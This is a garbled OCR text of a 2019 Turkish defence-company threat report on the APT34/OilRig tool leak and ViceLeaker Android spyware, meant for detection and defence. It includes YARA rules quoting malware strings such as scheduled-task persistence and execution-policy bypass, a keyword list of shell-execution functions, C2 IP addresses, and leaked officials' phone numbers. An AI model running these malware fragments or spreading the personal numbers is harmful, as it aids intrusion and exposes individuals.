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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda higbir Sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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Gegtigimiz U¢ ayda dikkat ¢eken gelismeler sirasiyla
yeni bir saldirn trendi olan sponsorlu reklamlar, sahte uy-
gulamalar, kritik zafiyetler ve APT grubu saldirilan oldu.
Sponsorlu reklamlar ve sahte uygulamalarin yeni bir sal-
din trendi olusturacagina yonelik éngérilerimizi dnceki
dénem raporlarimizda paylasmistik. Bu dénem raporu-
muzda mevcut saldiri trendleri arasindan sectigimiz za-
rarli yazilimlar, APT grubu aktiviteleri, teknolojik gelisme-
ler ve siber tehditler konularini bulabilirsiniz.

APT saldin gruplar kullandiklarn yéntemler ve hedef al-
diklan kitlelerle her dénem dikkat ceken tehditler ara-
sinda yer almaktadir. Son donemde adindan siklikla s6z
ettiren ve iran asilli oldugu disiinilen APT34 ve OilRig
gruplarinin saldini faaliyetlerinde kullandiklari zararl ya-
ziimlar ve bazi araglar sizdinlmigtir. Ayrica grup aktérle-
rinden bazilari iran Istinbarat Bakanliginin yaptigini iddia
ettigi operasyonlara ait hazirlik ve saldir sonug bilgilerini
paylasmistir. Saldirilara ait detaylari, sizdirilan verilerden
elde edilen 10C bilgilerini ve alinabilecek &nemler ile
saldin tespitinde kullanilacak yéntemleri APT34 OILRIG
analizimizde incelenmektedir.

Anonimligin ve yasa digi faaliyetlerin gérece daha yuk-
sek oldugu Dark Web, siber glivenlik arastirmacilarinin
her zaman dikkat odaginda yer almistir. Dark Web si-
ber tehdit istihbarat ¢alismalarinda kullanilan énemli bir
kaynaktir. Bu konuda bilinenin aksine analiz sureclerin-
de TOR’a ek olarak I2P ile Freenet gibi projelerden de
faydalaniimasi gerekmektedir. Arastirma ve analiz ¢a-
ismalarinin zenginlestirilmesiyle ilgili detaylar Dark Web
analizimizde bulabilirsiniz.

MS-17-010 zafiyeti (izerinden yayilan ve gegtigimiz yil-
larda kiresel bir problem haline gelen fidyeci yazimla-
rn (ransomware) gelisimi devam etmekte. Farkl saldirn
kampanyalarinda kullanilmak lzere bir¢gok varyanti olan
fidyeci zararli yazihm familyasina bir yenisi daha eklen-
di. Nam-po-hyu olarak tanimlanan fidye zararli yazili-
min Megalocker zararlisindan tiretildigi distnulirken
zararlinin hem MAC hem de PC kullanicilarini etkiledigi
dikkat cekiyor. Gegtigimiz U¢ ayllk dénemde MS-17-
010’a benzer bir zafiyet kesfedildi, CVE-2019-0708 kod-
lu zafiyetin Microsoft RDP servisinde kimlik dogrulama
gerektirmeden yetkisiz erisime olanak saglamasi akillara
MS-17-010 ile olusan fidyeci zararli yazilm dalgasinin
yeniden ortaya ¢ikma ihtimalini getiriyor. Zafiyete yonelik
detayll inceleme, tespit ve kontrol dnerilerini Bluekeep
isimli analizimizde bulabilirsiniz.

Mobil zararli yazihmlar giin gectikce daha kritik sorunlara
neden oluyor, gectigimiz glinlerde kesfedilen WhatsApp
zafiyetinin istismar edilerek mobil cihazlara casus yazi-
m yUklenebildigi ortaya cikti. Arama 6zelliginde olusan
bir hatadan kaynaklanan zafiyetin telefonlara gelen sesli
arama c¢agrilari Uzerinden calistigi aciklanirken, zafiyetin
sémurtlmesi igin ¢gagrinin yanitlanma gereksiniminin ol-
mamasi oldukc¢a dikkat ¢ekti. Zararli casus yazilimin kul-
lanicilarin e-posta, WhatsApp, kamera ve mikrofonlari
tarafindan kullanilan veri ve kaynaklara erisebildigi tespit
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edilirken, zararli yaziimin israil asilli bir grup tarafindan
Uretildigi ve belli bir kitleyi hedefledigi ortaya ¢ikti.

Mobil alandaki riskler yalnizca WhatsApp zafiyetiyle si-
nirli degil, trend haline gelen sponsorlu ve sahte uygula-
malar mobil kullanicilara tehlike sagmaya devam ediyor.
Sahte bankacilik uygulamalarinin son G¢ aylik dénemde
Ramazan bayrami temasiyla kullanicilari aldatmaya ca-
hstigi tespit edilirken, ViceLeaker gibi saldir kampanya-
larinin da uzun yillardir strdiigi ortaya c¢iktl. Uygulama
magazasinda bulunan giincel sahte bankacilik uygula-
malarini ve mobil saldin kampanya analizlerini bu dénem
raporumuzda bulabilirsiniz.

Mobil isletim sistemlerine yonelik sahte uygulamalar ar-
tis gosterirken PC ve MAC isletim sistemlerine yonelik
oltalama saldirlar dikkat ¢ekiyor. Kiresel ¢capta hedef
odakli saldirilarda kullanilan ve EMOTET olarak adlandir-
lan zararl yazilimin Turk kullanicilar da hedefledidi tespit
edildi. Ayrica, MuddyWater isimli APT grubunun birgok
Ortadogu ve Orta Asya lilkesini hedef alan oltalama saldi-
rilarn diizenlemesi ve Ukrayna secimleri sonrasinda yayi-
lan MS-Word zararlisinin da ortak payda olarak oltalama
saldinilarini kullanmasi zararl yaziim oltalama saldinlarinin
hedef odakli olarak devam ettigini gdsteriyor.

Dijital saglk teknolojileri giinden gline geliserek teshis,
tedavi ve slre¢ takibi konularinda oldukga faydali ¢6-
ziimlere temel olmaktadir. Uretilen teknolojinin giivenlik
alaninda degerlendiriimesi saglik teknolojilerinin gelisimi,
hasta saghginin korunmasi ve iyilestiriimesi konularinda
kritik neme sahiptir. Yakin zamanda geceklestirilen bir
arastirma ile bilgisayarli tomografi sonuclarinin derin 63-
renme ve ortadaki adam saldirilari ile maniple edilebildigi
ortaya ¢ikti. ManipUlasyon sayesinde hasta olmayan bir
bireyin hasta olarak degerlendiriimesi veya hasta olan
bir bireyin hasta olarak degerlendiriimemesi saglanabi-
liyor ve bu da riskin boyutunu gézler 6ntine seriyor. Yeni
saglik teknolojileri hastaya ve saglik personeline kolaylik
saglamakla birlikte saldir atak yiizeyini genisletmektedir.
Bu husus saglik sektériinde siber guvenligin kritikligini
bir kez daha igsaret etmektedir.

Boeing, 737 Max modeli ile ugak diinyasina yeni bir ba-
kis acisi getirmisti, fakat buradaki heyecan iki 737 Max’in
bes ay arayla dismesiyle kisa slrede yerini arastirma
galismalarina birakti. Ugaklarin dusus sebepleri arasinda
tasarim, yazihm ve egitim gibi konular 6n plana ¢ikiyor.
Bu baglamda kritik yazim sorunlari ve yaziim gelistirme
sureclerinde uygulanan ydntemler, dzellikle de glivenli
yazilim gelistirme hususu tartisma konusu oldu.

Bu dénem raporumuzun inceleme konusu olarak STM
Siber Guvenlik Ar-Ge Grubumuzun da Uzerinde calisti-
g1 kurumsal zafiyet ydnetimi konusunu aldik. “Kurumsal
Zafiyet ve Risk Y&netimi” isimli makalemizi “D&nem
inceleme Konusu” bashgi altinda bulabilirsiniz. Bu kap-
samda STM tarafindan gelistirilen CydecSys™ (Siber
Guvenlik Karar Destek Sistemi) yaziliminin kurumsal zafi-
yet ve risk yonetimine sagladigi katkilar da ele alinmaktadir.

SIBER TEHDIT DURUM RAPORU
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Bu kisimda STM Siber Flizyon Merkezimizdeki
analistler tarafindan yapilan mevcut ve 6ngé-
rilen siber saldir, zararli yazilim ve sifirinci
glin acikliklarina yoénelik tehdit analizlerinin
sonuglari verilmektedir.

17 Nisan 2019 tarihinde, 6zel bir Telegram ka-
nali araciidiyla, APT34 (OIilRIG) tehdit aktor-
leri tarafindan kullanilan bir takim araglar ve
Poison Frog adi verilen zararli yazilm kodlar
sizdinlimistir. Aktorlerin “dudaklar dikildi” anla-
mina gelen “Labdookhtegan” takma adini kul-
landiklar gérilmistir. ilgili kanalda yayinlanan
gdnderilerde sizdinlan araglarin ve zararl kay-
nak kodlarinin nasil elde edildikleri agiklanma-
mistir. Fakat kullanilan Web Shell, IP ve sunucu
adresleri, zararll yaziimlara ait kaynak kodlar
ve bu operasyonlari gerceklestiren aktorlere ait
bilgiler paylasiimistir.

Sizdinlan 185.15.247.140 IP adresinde yer alan
sunucunun SeaTurtle saldin aktorleri tarafindan
daha 6nceki saldirilarinda kullanildigi, ayni za-
manda bu sunucunun OilRIG grubu tarafindan
benzer amacgla DNS Hijacking saldinsi igin de
kullanildigi gordlmustir. Sizdinlan zararli ya-
zilmlar arasinda ag kimlik bilgilerini toplamak
icin kullanilan Powershell betikleri yer almak-
tadr. ilgili Powershell zararlilar enfekte cihaz-
lara ait trafigi bir web vekil sunucusu (proxy)
gibi davranarak myleftheart[.Jcom (saldinlar
gerceklestigi anda kullanildigi distntlen 1P
adresi-185.121.139.149) adresine ydnlendir-
mektedir. Aktbrlerin bu saldinlarda genellik-
le Powershell betikleri, web shell zararllari ve
WMI sorgular kullandiklar gérilmustar.

1.1. Telegram Grubu Incelemesi
Labdookhtegan isimli kullanic, iran istihbarat
Bakanliginin yaptigini iddia ettigi operasyon-
lara dair bilgileri, kaynak kodlarini, bakanhk
ydneticilerinin kigisel bilgilerini ve sizilan ku-
rumlarin bilgilerini paylagmistir.

ilgili kanalda paylasilan bilgiler yandaki sekil-
lerde yer almaktadir.

SIBER TEHDIT DURUM RAPORU
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ol8i343 J | Lab Dookhtegan | Read My Lips

We are exposing here the cyber tools (APT34 [ OILRIG) that
the ruthless Iranian Ministry of Intelligence has been using
against Iran’s neighboring countries, including names of the
cruel managers, and information about the activities and the
goals of these cyber-attacks. We hope that other Iranian
citizens will act for expasing this regime’s real ugly face!

Kullanicinin bakanhdi ve yoneticileri sorumlu tutmasi.

0l8i343 4 | Lab Dookhtegan | Read My Lips
posion frog.zip
Download

Poison Frog (Similar to Glimpse) — panel, server side and
powershell agent (communicates over DNS and HTTP) — all
written and used by the group

Kullanilan zararllarnn kaynak kodlarinin yayinlanmasi.

olfi34> L | Lab Dookhtegan | Read My Lips
posion frog.zip
ownload

Paoison Frog (Similar to Glimpse) — panel, server side and
powershell agent (communicates over DNS and HTTR) —all
written and used by the group

ol8isg5 uJ | Lab Dookhtegan | Read My Lips
webshells.csv 9
Save file

1 120 3lass webshell URLS L jguins o caling sl uogs 53
olez wlpaw 5o

120 webshell URLs in variety of domains in countries
around the world

Zararllarin ve etkilenen kurumlarin bilgilerinin yayimlanmasi.

0l8i3g3 . | Lab Dookhtegan | Read My Lips

Cruel Iranian Ministry of Intelligence managers
wleMlsl w )l e JaSiaw alogs yo ulglunn ool

Haj ali heydari - 5 3> ole gl
989108996860

Haj hossein bahrami - ol ug a2l
989121095380

Haj hassan - gue zl>
989109116493
989121115288

Sekil 4: Galisanlarin kimlik bilgilerinin paylasiimasi.
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olfisg .l | Lab Dookhtegan | Read My Lips
- 1 basc.aspr.at

it Download

weabshell
T TR SO ) PRI S PR

webshell written by the group, uses encrypted RSA

communication
83 45 . | Lab Dookhtegan | Read My Lips
% I Jordan Software solu... zip 9 KE
bt Download
wehshell LURL in primus com jo with key for the wehshell,

and webshell code

@ oWi345 o | Lab Dookhtegan | Read My Lips
- . Emirates National Qil ....zip E
L Download

webshell URLs in enoc.com, with passwords, webshell type

aAnd miore webshell info
@ gL{::a,‘ vl | Lab Dookhiegan | Read My Lips
: " Emirates Ministry of ... .zip L
+ Download

mopa.ac - Ministry of Presidential Afars

23 gy g 18900 1 s minpa ae (Ministry of
Presidential ARAIS) Jus wog o5l 2 gas 5 5 BO Sl uw o

aver 900 usermames and passwords inomopa e (Ministry
of Presidentlal Affairs), and over 80 users and passwords
for webmail

Sekil 5: Sizilan kurumlarin bilgilerinin paylasilmasi.

Today we destroyed the servers of the Iranian Ministry of
Inteliigence.

Wa are posting here some of the immense damage that we did to
them

@ o593 i | Lab Dookhtegan | Read My Lips

@ 0l8isys o | Lab Dookhtegan | Read My Lips

Sekil 6: Komuta kontrol sunucu bilgilerinin paylagilmasi.

In the past few days we destroyed the servers of the treacherous
Iranian Ministry of Intelligence and published it here. Today we
expose more sarvers from the Iranian Ministry of Intelligence. We
are just getting started. We will keep exposing the Iranian Ministry
lof Intelligence and our attacks against it. Follow us and share

185.56.91.61
46.165.246.196
185.236.76.80
185.236.77.17
185.181.8.252

Sekil 7: Komuta kontrol sunucu IP adreslerinin paylasiimasi.
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m Lab dookhteganl Tweetier  Tahip Ed Takipgiler
3 23 45

Tweetler  Tweetler ve yanitlar

Lab_doakhteganl khieganl - 7 N
@ Wi hope that othes ianian ciizens wall act for exposing this regime’s real ugly

© laces

Lab_dookhteganl

BpiF agals | Olidae cule cap ja el
e b delsd
&

@ Lab_deakheganl

P Wi are expasng here th cybier toals |

n his been

f 0lfzrys <l | Lab Dookhtegan | Read My Lips
Lo b dolut A V¥ gl Ly ol conule cargs sypal
Lastdookhtegan twiller.com/dookhtegan L&
nstagram. comlabdookhiegan

Lab_dookhtegand 1-THi .
@ wluian sl g aule coppn g pm e oMol colip sl sl o Le
[P Ye] IO Rpr. P | Y [P FFER . PRy L RS PGP S
Taic ladl cin ool (B Ll e s 380 itlrvmnes o mealyneal Lo ails
L

[}

Sekil 8: Kullanicinin Twitter hesabi.

1.2. Saldin incelemesi

Bahsi gecen QIlRIG siber saldir grubunun, web uygula-
malarinda bulunan SQL enjeksiyon zafiyetinin sémurul-
mesiyle veri tabanlarinda bulunan kullanici adlar ve pa-
rola gibi bircok veriyi elde ettigi gérilmektedir (Sekil-9).
Bunun yani sira, ele gegirdikleri kurum sunucularindan
dis diinyaya acik olan web sunucularina web shell yUk-
lendigi, yuklenen bu web shell araciigiyla gesitli ko-
mutlarnn calistinldig tespit edilmistir. Saldirganlarin ele
gecirdikleri sunucular Uzerinden kurumlarnn i¢ aglarina
yayildiklari ve domain kullanicilarinin parolalarini elde
edildigi de tespit edilmistir.

Sekil 9: Saldinya ugrayan kurumun kullanici adi ve parola bilgisi.

Bahsi gecen saldirilarda kullanilan ve ifsa edilen siber
saldin araglar (Sekil-10):

Glimpse (BondUpdater diye adlandirilan powershell
tabanl truva atinin yeni strimd)

PoisonFrog (BondUpdater diye adlandirilan Truva ati-
nin eski stirima)

HyperShell (TwoFace diye adlandirilan web shell)

SIBER TEHDIT DURUM RAPORU
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HighShell
Fox Panel (oltalama saldiri kiti)
Webmask (DNS Hijacking)

MName Date modified Type
FoxPanel222 3/15/2019 3:47 PM File folder 23 DOWNLOAD (44,47 W8}
HighShell File folder 3
HyperShell File folder N N A O I
MinionProject File folder

Loge - Regivier - Terms of Uss - AP1 - FAQ  Fesdback REPORT ABLISE

Vil 08 Wil OpshLas . BayFies

Sekil 10: Kullanilan web shell érnekleri.

Bahsi gegen saldirlarda ele gegirilen ve ifsa edilen ku-
rumlara ait verilerin, “Anonfile” diye adlandirilan platform

kil 11: K | it ilerin if: dildigi platf .
(izerinden paylasildigi tespit edilmistir. (Sekil-11) Sekil 11: Kurumlara ait verilerin ifsa edildigi platform

1.3. Alinabilecek Onlemler ve Olasi Saldiri
Tespiti Yontemi

Bahsi gecen saldirilarda kullanilan tekniklerin incelen-
mesi sonucunda olusturulan saldin tespit yéntemleri
paylasiimigtir.

1.3.1. Zararli Web Shell Tespit Powershell

Kodu
1 function Invoke-5tringSearch {
2
3 <#
4 SYNOPSIS
5. Yara benzeri zaran string aramada kullanilmak igin tasarlanmistir.
6 .DESCRIPTION
7 Signatures.txt dosyasinda zararli olarak belirtilen kelimeleri verilen
8 yol altindaki tiim dosyalarda arar ve gikti verir.
9 .PARAMETER Path
10. Arama yapilmak istenen dizin
11. .PARAMETER Signatures
12. Zararli fonksiyonlarin adlarini ve aranmasi istenen diger kelimeleri
13. iceren dosya yolu (Varsayilan = signatures.txt)
14. .Parameter Malicious
15. Sadece zararli olarak tespit edilen dosyalari ekrana yazdirma opsiyonu
16. .Parameter Benign
17. Sadece zararsiz olarak tespit edilen dosyalar ekrana yazdirma opsiyonu
18. .EXAMPLE
19. Invoke-StringSearch -Path c:\inetpub
20. .EXAMPLE
21. Invoke-StringSearch -Path c:\inetpub -Signatures c:\users\public\signatures.txt
22. EXAMPLE
23. Invoke-StringSearch -Path e:\inetpub -Malicious
24. #>
25.
26.
27. [CmdletBinding()]
28. param(

SIBER TEHDIT DURUM RAPORU 7
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[Parameter(Position=0,mandatory=5true)]
[string] $Path,

[string] $Signatures,

[switch] SMalicious,

[switch] SBenign

SStartTime = 5(get-date)

if ($Signatures){
$signature_filepath = $Signatures
}
else{
Ssignature_filepath = "signatures.txt"
}
try{

Ssignature_content = Get-Content Ssignature_filepath -ErrorAction stop

}
catch{

NiSAN-HAZIRAN 2019

write-host "Error occured when reading signature file " $signature_filepath -ForegroundColor Yellow

exit

Sfiles = Get-Childitem $Path -Recurse -File | % {$_.FullName}

Sfile_count=0
Sh_count=0

$mal_count =0
Serr_count=0

foreach (Sfile in Sfiles){
Sfile_count = $file_count + 1
try {
Sfile_content = Get-Content $file -ErrorAction stop
Skeyword_counter =0
foreach (Sline in $file_content)
{
foreach (Skeyword in Ssignature_content){
if (Sline.ToLower().contains(Skeyword.ToLower()){
Skeyword_counter = Skeyword_counter + 1
}
}
}
if (Skeyword_counter -gt 0){
if ((-not $Malicious) -and (-not $Benign)){

Write-Host "[| MALICIOUS]'t" $file "contains" Skeyword_counter "malicious keyword" -ForegroundColor Red

}

elseif (SMalicious) {

Write-Host "[! MALICIQUS]'t" $file "contains" Skeyword_counter "malicious keyword" -ForegroundColor Red

}
Smal_count =5mal_count + 1
}
else {
if ((-not $Malicious) -and {-not $Benign)){
Write-Host "[+ BENIGN ]'t" $file -ForegroundColor Green
}
elseif ($Benign) {
Write-Host "[+ BENIGN ]'t" Sfile -ForegroundColor Green
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90. }

91. $b_count = Sb_count + 1
92. }

93. }

94. catch {

95. Write-Host "[- ERROR ]'t" $file -ForegroundColor Yellow
96. Serr_count = $err_count + 1
97.

98. }

Q9, }

100.

101. SelapsedTime = 5(get-date) - $StartTime

102.  StotalTime = "{0:HH:mm:ss}" -f {[datetime]SelapsedTime.Ticks)

103.  Write-Host "'n"

104,  Write-Host "Elapsed Time:'t" StotalTime
105.  Write-Host "Scanned File:'t" $file_count
106. Write-Host "Malicious File:'t" Smal_count
107.  Write-Host "Benign File:'t" Sb_count

108.  Write-Host "Error:'t" Serr_count

109. Write-Host "'n"

110.

kb o

1.3.2. Zararli Web Shell Tespit Powershell
Kodunun Kullanimi

ilk olarak Tablo 2’de gosterilen zararl fonksiyonlar, veri-
len Powershell kodunun bulundugu dizine alt alta yazi-
larak signatures.txt olarak kaydedilmelidir. Bu iglemin
ardindan InvokeStringsearch.ps1 dosyasi Import-
Module fonksiyonu ile kullaniimaya hazir hale getirilir.
Bu asamadan sonra taranmasi istenen en st dizinle bir-
likte kod calistinimalidir. Kod verilen dizin altindaki tim
dizinleri gezerek arama yapmaktadir. Kod parcasinin di-
ger parametreleri get-help fonksiyonu ile gériintiilenebi-
lir. Kod pargasinin ¢alistirimasina dair ekran gériintuleri
asagida gorilebilir.

Not: Kod pargasi “signatures.txt” dosyasindaki kelime-
lere gbre arama yapmaktadir. Bu kelimeler zararli olma-
yan dosyalarda da bulunabileceginden kod parc¢asi tara-
findan verilen ¢iktilar 6nce manuel olarak incelenmeli ve
bu incelemeden sonra aksiyon alinmalidr.

Adim 2
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Adim 1

Sekil 13: Zararl powershell tespit kod kullanimi adim 2.
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Sekil 14: Kod kullanim sonrasi elde edilen cikti.

1.3.3. Zararli Web Shell Tespit Yara Kodu

Asagida paylasilan kod zararli Web Shell’i tespit etme
calismalarinda kullanilabilir.

Do N i AW

BoD b bD DWW W W W W W W WWNNNDNNNNDNDRNDNR | [ |3 3 R 2
O A WP oODLRONGONAEERNEREO WKONOUNE WMNRPLPOPRONOOURAWEMNIEO

rule APT34_OilRig_HighShell {
meta:
description = "Detects APT34/QilRig HighShell"
date = "18-04-2019"
md5 = "888929f06cad62b38120c13d5800b978"
sha256 = "f7ddb07500cde2d29¢3b0a52d488d99b53ceaddabe31947a7e01e387c22ed 183"
strings:
Ss1 = "TmV3IFRpbWU=" ascii
$s2 = "RnlvbSBUaGIzIEZpbGU=" ascii
$s3 = "U2VydmVyPS47RGFOYWIhc2U9ZGI7VXNIciBIZD11c2Vy01Bhc3N3b3JkPXBhc3M=" ascii
Ss4 = "sdfewq@#551234234DF@#S | @HSASDF" ascii
$s5 = "string netUse = exec(\"net use\");" ascii
condition:
( filesize < 31KB and 1 of them )

rule APT34_O0ilRig_error4 {
meta:
description = "Detects APT34/QilRig errord.aspx"
date = "18-04-2019"
md5 = "36a17455105047026e37de0d1a281257"
sha256 = "fe9cdef3c88f83b74512ec6400b7231d7295bda78079b116627c4bc9b7a373e0"
strings:
Ss1 = "TmV3IFRpbWU=" ascii
$52 = "RnlvbSBUaGIzIEZpbGU=" ascii
$s3 = "U2VydmVyPS47RGFOYWIhc2U9ZGI7VXNIciBIZD11c2Vy0O1Bhc3N3b3JkPXBhc3M=" ascii
Ss4 = "sdfewq@#551234234DF@#S | @#SASDF" ascii
$s5 = "string netUse = exec(\"net use\");" ascii
condition:
( filesize < 31KB and 1 of them )

rule APT34_0ilRig_ExpiredPassword {
meta:
description = "Detects APT34/0ilRig ExpiredPassword.aspx"
date = "18-04-2019"
md5 ="8214bd033b7830ae489f779de2184d6e"
sha256 = "7da82f6c51c370d57234eb7cffcf4009f0b89268f403368cbceSfab879fccdcO”
strings:
$s1 = "reDGEa @#!%FS" ascii
$s2 = "+56Kos9D/etqlcd///fgTarvnUQ=" ascii
$53 = "new System.Diagnostics.Process"
$s4 = "Server.HtmlEncode(r)"
$s5 = "i.FileName = \"cmd\""
condition:
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46.
47.
48.
49,
50.
L 2
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.

( filesize < 8KB and 1 of them )

rule APT34_QilRig_MyMaster {

meta:
description = "Detects APT34/0ilRig MyMaster.aspx"
date = "18-04-2019"
md5 = "ed9df0d451824d2f17e85c3837667ac5”
sha256 = "e483eee77fcc5ef11d5bf33a4179312753h62ec9a247dd14528cc797e7632d99"
strings:
$s1 = "NxKK<TjWNAIv-5*UZ | Z-H;cGL{O>7a" ascii
852 = "GYNVIOHK" ascii
$s3 = "1ptIPVMIle8wp170JsmObaxATKyguwOa06DBsknge04" ascii
Ss4 = "tEiciYNFOyem" ascii
$s5 = "MIPRtTppajvWO" ascii
$s6 = "IRIBTIIY4GS48TESai/N8I90U3d1UpTt" ascii
condition:
( filesize < 21KB and 3 of them )

1.3.4. Zararli Powershell Tespit Yara Kodu

Asagida paylasilan Yara kodu ile zararli Web Shell’i tes-
pit etme c¢alismalar yapilabilir.

LMo AWM

W W oW Www MM MNMBNRMNNRNRNRBRRBRE | B3 |2 |93 |2 2 |23 3
OURWUNPOUVURNPURUNROL®NGUNAEWNRDO

;t

YARA Rule Set

Author: Florian Roth

Date: 2019-04-17

Identifier: Leaked APT34 / QilRig tools

Reference: https://twitter.com/Oxffff0800/status/1118406371165126656

A

/* Rule Set - Y

rule APT_APT34_PS_Malware_Apr19_1{

meta:

description = "Detects APT34 PowerShell malware"

author = "Florian Roth"

reference = "https://twitter.com/Oxffff0800/status/1118406371165126656"

date ="2019-04-17"

hashl ="b1d621091740e62c84fcBc62bcdad07873cBb61b83faba36097ef150fd6ec768"
strings:

A
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$x1 = "= get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID" ascii

$x2 = "Write-Host \"excepton occured!\"" ascii /* :) */

$s1="Start-Sleep -s 1;" fullword ascii

$s2 = "Start-Sleep -m 100;" fullword ascii
condition:

1 of (5x*) or 2 of them

rule APT_APT34_PS_Malware_Aprl19_2 {

meta:

description = "Detects APT34 PowerShell malware"

authar = "Florian Roth"

reference = "https://twitter.com/Oxffff0800/status/1118406371165126656"

date = "2019-04-17"

hashl ="2943e69e6c34232dee323b6ced38d41d378784a317eeafcb90482014210fcd459"
strings:

SIBER TEHDIT DURUM RAPORU
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36. Sx1 = "= \"http://\" + [System.Net.Dns]::GetHostAddresses(\"" ascii
37. $x2 = "St = get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID" fullword ascii
18. $x3 ="| Where {$_ -notmatch '"\\s+5' }" ascii

39.

40. $s1 = "= new-object System.Net.WebProxy(Su, Strue);" fullword ascii
41. Ss52 =" -eq \"dom\"){S" ascii

42. $s3 =" -eq \"srv\"){S" ascii

43, 554 = "+\"<>\" | Set-Content" ascii

44, condition:

45, 1 of (5x*) and 3 of them

46. }

47.

48. rule APT_APT34_PS_Malware_Aprl9 3 {

49. meta:

50. description = "Detects APT34 PowerShell malware”

51. author = "Florian Roth"

52. reference = "https://twitter.com/Oxffff0800/status/1118406371165126656"
53. date ="2019-04-17"

54, hashl = "27e03b98ae0f6f2650f37829292384f1350f95ee4f3ac009e0113a8d%e2e14ed"
55. strings:

56. $x1 = "Powershell.exe -exec bypass -file ${global:$address1}"

57. 5x2 = "schtasks /create /F fru SYSTEM /sc minute /mo 10 /tn"

58, $x3 = "\"\\UpdateTasks\\UpdateTaskHosts\""

59, Sx4 = "wscript /b \\"\"${global:Saddress1" ascii

60. Sx5 = "::FromBase64String([string]${global:Shttp_ag}))" ascii

61. Sx6 = ".run commandl, 0, false\" | Out-File " fullword ascii

62. $x7 = "\\UpdateTask.vbs" fullword ascii

63. $x8 = "hUpdater.ps1" fullword ascii

64. condition:

65. 1 of them

66. })

Zararli Web Shell’lere ait tehdit emare géstergeleri Tablo
1 ve 2’de sunulmaktadir.

Tablo 1 ve Tablo 2’de yer alan loC’lerin guivenlik cihazla-
rina eklenerek kurum agi i¢cinde herhangi bir sizintinin ve
sizma girisiminin olup olmadiginin tespit edilmesi tavsiye
edilmektedir.

Zararlh Web Shell loC’leri

cmd.exe
C:\WINDOWS\system32\cmd.exe
EXEC sp_add_job
GetEnvironmentVariable
iex

mshta

Process

Process.Start
RedirectStandardOutput
shell32.dll

StartInfo
UseShellExecute
XP_CmdShell

Execute

Tablo 1: Zararli Web Shell IOC’leri.

12

C:\\WINDOWS\\system32\\cmd.exe
eval

get-childitem

GetProcesses
Invoke-Expression
powershell
Process.GetProcesses
ProcessStartinfo

shell

Sp_Oacreate
System.Diagnostics.Process
WSCRIPT.SHELL
Xp_Regwrite
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185.56.91.61
185.236.77.17
70.36.107.34
185.181.8.158
23.106.215.76
173.234.153.194
23.19.226.69
194.9.177.15
213.227.140.32
198.143.182.22
168.187.92.92
88.99.246.174
217.182.217.122
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Baglanti Kuruldugu Tespit Edilen Komuta Kontrol Sunucu IP Adresleri

46.165.246.196
185.181.8.252
109.236.85.129
178.32.127.230
185.20.187.8
173.234.153.201
185.161.211.86
185.140.249.63
46.105.251.42
213.202.217.9
38.132.124.153
190.2.142.59
46.4.69.52

172.81.134.226 103.102.45.14

142.234.200.99 194.9.179.23
185.174.102.14
185.161.209.157

23.227.201.6

185.236.76.35
185.236.76.59
185.236.78.63

Tablo 2: Komuta Kontrol Sunucu IP adresleri.

Mobil platformlara yénelik, kullanici bilgilerinin hedef-
lendigi saldin kampanyalari giin gectikge artmaktadur.
Bunlardan bir tanesi de Ortadogu bélgesini hedefleyen
ViceLeaker saldinisidrr. ilk olarak 2016 yilinda tespit edi-
len ancak 2018 yilinda daha ayrintili inceleme imkani
bulunan VicelLeaker, israil vatandaslarini ve diger Orta
Dogu Ulkelerini Triout adinda kéti amacl yaziimla he-
defleyen bir saldirn kampanyasidrr.

VicelLeaker, arama kayitlari, mesaijlar, fotograflar, vide-
olar ve konum bilgileri gibi hassas verileri ele gecirmek
icin tasarlanmigtir. Casusluk ozelliklerinin yani sira, dos-
yalari yUklemeye, indirmeye, silmeye, sesleri kaydetmeye,
video kaydi yapmaya, arama yapmaya veya belirli numa-
ralara mesaj gbndermeye yol acan arka kapi 6zelliklerine
de sahiptir. Bu saldirn kampanyasinin arkasinda kim oldu-
gu hentiz net degildir. ViceLeaker saldir kampanyasina ait
detayli bilgi teknik inceleme kisminda ele alinmistir.

2.1. Teknik inceleme

Ik analizler saldirganlarin israil vatandaslarina ait and-
roid isletim sistemine sahip mobil cihazlan hedefledi-
gini gostermektedir. Guvenlik arastirmacilan triout ku-
rulu bir telefonu incelemeye aldiktan sonra dosyalarin
icine bakarak, APK’nin orijinal yaziliminda gémull olan
koétu niyetli bir kod icerdigini tespit etmistir. Bu saldiryi

SIBER TEHDIT DURUM RAPORU

185.236.76.80
185.191.228.103
185.15.247.140
146.112.61.108
95.168.176.172
172.241.140.238
185.174.100.56
81.17.56.249
185.140.249.157
158.69.57.62
176.9.164.215
103.102.44.181
185.227.108.35
95.168.176.173
194.9.178.10
185.236.77.75
185.236.78.217
185.121.139.149

Original code of the APK on the left, versus injected APK on the right

Sekil 15: Orijinal APK vs monipiile edilmis APK kodu.

baslatmak i¢in saldirganlarin, Baksmali araciyla orijinal
uygulamanin kodunu karmasiklastirma isleminden kur-
tarmakta ve zararli kodlarini ekleyerek Smali ile birlestir-
mesine izin veren bir enjeksiyon tiirl olan Smali injection
teknigini kullandiklari tespit edilmistir.

Bu zararli yazilmin, altyapisini gizlemek i¢in Trojanized
uygulamalari Telegram ve WhatsApp messengers di-
zinlerinin altina sakladigi gérilmektedir.
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Hame Detection path

Tiorage/emulated 0/ WhatsApp/ Madia/Whatsi
Game For Adults 18.apk * 1 PP

